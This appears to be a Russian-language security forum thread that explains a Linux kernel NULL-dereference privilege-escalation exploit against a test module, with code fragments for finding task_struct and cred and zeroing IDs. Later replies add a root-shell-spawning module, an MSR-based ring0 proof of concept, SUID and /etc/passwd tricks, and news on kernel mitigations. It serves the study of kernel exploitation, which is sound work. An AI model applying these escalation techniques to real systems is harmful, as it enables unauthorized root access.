![]() |
Заметка про task_struct в ядре Linux.
Вложений: 1
В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.
Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки). Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage. Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше). Поехали Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call Код:
struct my_ops { install.sh сделан для удобства, он содержит команды: mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля), insmod nullderef.ko (установка модуля), echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта) Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше. Если используется SELinux, то потребуется его отключить. Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3) Функция main(): Код:
uid = getuid(); gid = getgid(); Код:
uname(&us); Код:
prepare_kernel_cred = get_ksym("prepare_kernel_cred"); Код:
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme Цитата:
Код:
int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY); Код:
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); Функция get_root(): Теперь функция get_root(), в которой и происходит всё действо. В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :) Код:
void (*printk)(const char*fmt, ...) = (void *) a_printk; Код:
int i; Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в include/linux/sched.h: Код:
union thread_union { Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info. NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1. NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше: Код:
#define current get_current() В эксплойтах также используется вставка на асме для нахождения адреса thread_info: Код:
# get current task_struct... Едем дальше. Код:
printk("i addr: 0x%lx\n", (unsigned long)&i); Код:
struct thread_info { Код:
struct task_struct { <2.6.29 Код:
if(!new_style) // kernel<2.6.29 В /var/log/messages выводится адрес uid и euid для любопытных. Код:
p = (unsigned *) ((char *)(p + 8) + sizeof(void *)); >=2.6.29 Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct: Код:
struct task_struct { Код:
struct cred { Вот так это выглядит в коде: Код:
else // kernel>=2.6.29 и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) { cred++; - пропускаем первое поле (atomic_t usage) А дальше проверяем id'ы и обнуляем, если это то, что искали. В /var/log/messages будет: Цитата:
commit creds on >=2.6.29 Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал). Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу. Часть кода commit_creds() из kernel/cred.c: Код:
rcu_assign_pointer(task->real_cred, new); Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута: Код:
#else Last call for alcohol Код тестировался на: Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux) Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux) Почитать: Understanding the structure task_struct: http://www.spinics.net/lists/newbies/msg11186.html Процессы в Linux: http://www.opennet.ru/base/dev/procc...linux.txt.html, http://www.mjmwired.net/kernel/Docum...redentials.txt Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года). SynQ, rdot.org 5/2011 |
Всё прелестно, но, как ми пониманю, printk юзается только в исследовательских целях - для чтения логов, иначе ненужное палево
|
Да, printk здесь, чтобы понимать, что происходит. Весь код здесь для исследования и понимания потрохов.
|
а в чем практическая ценность этого task_struct ?
т.е. наш код уже сумел попасть в ядро, зачем заниматься поиском именно task_struct ? чтобы изменить uid/gid уже существующего процесса ? или task_struct используется в руткитах для стелса процессов/соединений и т.д. ? я это к тому, что наверное есть более универсальные и простые методы извлечения выгоды из того, что мы сумели запустить наш код в режиме ядра - например запуск нового процесса с правами рута. |
Цитата:
Цитата:
|
Оставлю здесь, может кому-нибудь пригодится однажды.
kleak LKM для просмотра или дампа памяти ядра. Вроде аналога когда-то существовавшего /dev/kmem. Использование: Цитата:
На x64 тоже должно работать. Код:
/* Код:
obj-m = kleak.o |
Цитата:
SynQ, респект за статью (узнал кое-что новое) и за kleak , но есть такая простая штука, как gdb vmlinuz-3.3.0 /proc/kcore. Это дамп памяти ядра в реальном времени, который можно только читать. А если ядро собрано с дебагом, можно очень даже легко изучать структуры/ф-ции по названиям без ковыряния в System.map. Если честно, я сам много велосипедов писал для той же работы с шеллкодами, потом оказалось, что почти всё можно сделать стандартными средствами :) А ещё, только щас подумал, не проще ли добавить строчку в /etc/passwd через filp_open, вместо того чтобы искать task_struct. Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейса. Пример (не проверял): http://stackoverflow.com/questions/1348358/changing-file-permissions-in-kernel. Как будет время обязательно сделаю тест. p.s. А task_struct кстати реально классная штука, с помощью неё например можно узнать адреса и даже в текущий терминал писать, очень удобно для отладки модулей и работы с руткитами. |
Specialist
Согласен почти со всем. Единственное, трогать /etc/passwd, по-моему, неэлегантно :) и насколько знаю, не все сисколлы из ядра работают, желательно проверять. А вот идея выставлять суид бит - отличная. think outside of the box :) Кстати, если о файлах, - можно также /etc/ld.so.preload создать с mask 666. |
Как и обещал, раскрутил тему. Написал небольшой модуль ядра, вызывающий write на консоль из кернелспейса. Итак, немного черношляпной вуду-магии :)
Код:
/* на сегмент данных текущего процесса. Что в коде собственно и делается. В реальном эксплойте вместо макросов можно использовать asm-вставки. upd. Даже не подумал, что проверок uid в сисколлах никто не отменял. Скорее всего прийдётся вызывать нижележащие функции. |
Вложений: 1
Нашёл способ запустить бинарник из ring0 в качестве хелпера keventd.
Накодил небольшой пример, запускающий Sh. Просто распакуйте и напишите make. http://rghost.ru/download/39141720/3...0c8/run.tar.gz Проверено на ядре 3.2 |
Цитата:
|
а для чего нужны все манипуляции с суидником?
|
Оно неинтерактивно, т.е. не получится тупо запустить /bin/bash и радоваться.
|
Цитата:
|
А все, упустил нить дискуссии :)
|
Цитата:
Код:
struct inode *inode; |
Тут спендер ругался на этот коммит: http://git.kernel.org/?p=linux/kerne...5c6a66ee1aed00
Зайдя с этой стороны (внося свои адреса в регистры MSR через /dev/cpu/$cpu/msr) можно получить выполнение кода в ядре, будучи рутом :) Это на случай если например ядро без поддержки модулей или рут после загрузки выполнил: # echo 1 > /proc/sys/kernel/modules_disabled http://i.imgur.com/Ahgi03f.png Код:
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host |
В ядре есть опция для просмотра флагов страниц памяти ядра - RO/RW, NX, полезно чтобы знать можно ли модифицировать какой-нибудь регион и будет ли исполняться код в определённой странице.
Реализована она в файле arch/x86/mm/dump_pagetables.c, включается посредством CONFIG_X86_PTDUMP в конфиге ядра. Чтобы не перекомпилировать ядро, можно использовать патч Kees Cook, который превращает файл исходника в модуль lkm: http://www.outflux.net/blog/archives...mory-progress/ Для примера, в современном ядре всего 2 региона имеют флаги RW и одновременно X: Код:
$ sudo cat /sys/kernel/debug/kernel_page_tables|grep RW|grep -v NX Готовый пропатченый исходник lkm: Код:
/* Код:
obj-m = dump_pagetables.o |
Kees Cook отправил в апстрим патчи для kernel ASLR: http://www.spinics.net/lists/kernel/msg1511828.html
В составе патчей также присутствует реализация read-only IDT :( |
Ну вот, начиная с 3.10 эксплуатация через IDT умерла.
x86: Use a read-only IDT alias on all CPUs https://git.kernel.org/cgit/linux/ke...0849992fcf1c79 Здесь гит Ubuntu: http://kernel.ubuntu.com/git?p=ubunt...l/jump_label.c |
В 3.11 меняется file_operations, наверно скажется на руткитах, хукающих readdir():
Цитата:
|
CSAW2013 CTF write-up про задание с exploitation в ядре:
https://github.com/acama/ctf-writeup...rad%20Oberberg write-up от автора задания: http://poppopret.org/2013/11/20/csaw...ion-challenge/ |
Еще один способ выполнять код в ядре имея права root (на случай отключенных/подписанных модулей ядра) - через сисколл kexec:
http://mjg59.dreamwidth.org/28746.html |
Пока идет революция на Майдане, в ядре тоже революция. Патч Кейса Кука для KASLR приняли в апстрим. Ядерная рандомизация будет в 3.14.
Т.к. она ломает гибернацию и perf, то вероятно дистрибутивы пока не будут включать эту опцию. http://git.kernel.org/cgit/linux/ker...6f5127828eb79d |
а может кто нибудь рассказать про загрузку модулей ядра, когда ядро скомпилировано без поддержки LKM? и можно ли подменять системные вызовы с пользовательского уровня?
|
Набор заданий для тех, кто хочет разобраться в устройстве ядра Linux: http://eudyptula-challenge.org/
Обзор: http://lwn.net/Articles/599231/ |
Важное изменение в 3.15 на x86_64 - размер ядерного стека приложений увеличен в 2 раза (с 8192 до 16384).
коммит Код:
+++ b/arch/x86/include/asm/page_64_types.h |
https://plus.google.com/+MathiasKrau...ts/daRPLr3Di6a
В 3.18 внедрили slab merging в SLAB так же, как это было ранее в SLUB (теперь будет проще эксплуатировать heap overflow и UaF): Цитата:
|
CSAW CTF 2014 Linux kernel exploitation challenge & solution.
https://github.com/mncoppola/suckerusu |
Цитата:
Цитата:
|
В 3.20 убирают restart_block из struct thread_info, которая находится сразу под стеком ядра в памяти (см. первый пост) и может быть перезаписана при переполнении самого стека. Такая перезапись использовалось пару раз в публичных эксплойтах.
commit: all arches, signal: move restart_block to struct task_struct Цитата:
Код:
struct thread_info { |
По следам rowhammer в ядре 4.1 закроют доступ к физическим адресам в /proc/PID/pagemap.
commit Код:
static int pagemap_open(struct inode *inode, struct file *file) |
Не про ядро.
В Ubuntu теперь не будет работать баг в суидниках, когда делают system/popen("some-file") и подкладывание some-file в текущую диру. https://bugs.launchpad.net/ubuntu/+s...660/comments/6 |
CSAW CTF 2015 Kernel Exploitation Challenge
http://poppopret.org/2015/11/16/csaw...ion-challenge/ http://itszn.com/blog/?p=21 |
Недавно был интересный пост про обход kASLR через наблюдение за временем выполнения процессорной инструкции prefetch.
Теперь же подоспел PoC для линукса: http://dreamsofastone.blogspot.ru/20...hitecture.html https://github.com/xairy/kaslr-bypass-via-prefetch |
Цитата:
https://bugs.chromium.org/p/project-.../detail?id=808 Коммит SLAB freelist randomization: http://git.kernel.org/cgit/linux/ker...f9996e9675e25f Цитата:
|
mm: SLAB freelist randomization в апстриме:
https://git.kernel.org/cgit/linux/ke...da21cee801ec2b Также в планах перелопатить thread_info (и кое-где вообще ее убрать), самое главное - хотят переместить addr_limit в task_struct. А значит, прощай легкий способ обхода SMEP. Раньше было достаточно любого infoleak с адресом стека ядра и сразу знали адрес, по которому нужно перезаписать addr_limit. Если закоммитят, нужен будет infoleak по выбранному адресу, т.к. лимит будет в thread_info.task->thread.addr_limit. [PATCH v4 18/29] x86: Move addr_limit to thread_struct: https://lkml.org/lkml/2016/6/26/299 PS update - приземлили в 4.9, также в 4.10 для arm64. |
Спасибо rebel за эксплойт для СVE-2016-8655 Linux af_packet.c race condition, теперь хотят закрыть удобный и лежавший на поверхности способ обхода smap.
[RFC 0/4] make call_usermodehelper a bit more "safe" [RFC 4/4] Introduce CONFIG_READONLY_USERMODEHELPER |
Большая подборка:
https://github.com/idl3r/linux-kernel-exploitation |
Побочный эффект meltdown и specter - во всех ядрах с активированной KPTI (Kernel Page Table Isolation CONFIG_PAGE_TABLE_ISOLATION) теперь будет SMEP, даже если процессор не поддерживает ее.
https://outflux.net/blog/archives/20...lation-in-pti/ И похоже скоро вообще перестанут мапить userspace, когда работает ядро. |
Часовой пояс GMT +3, время: 18:41. |
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot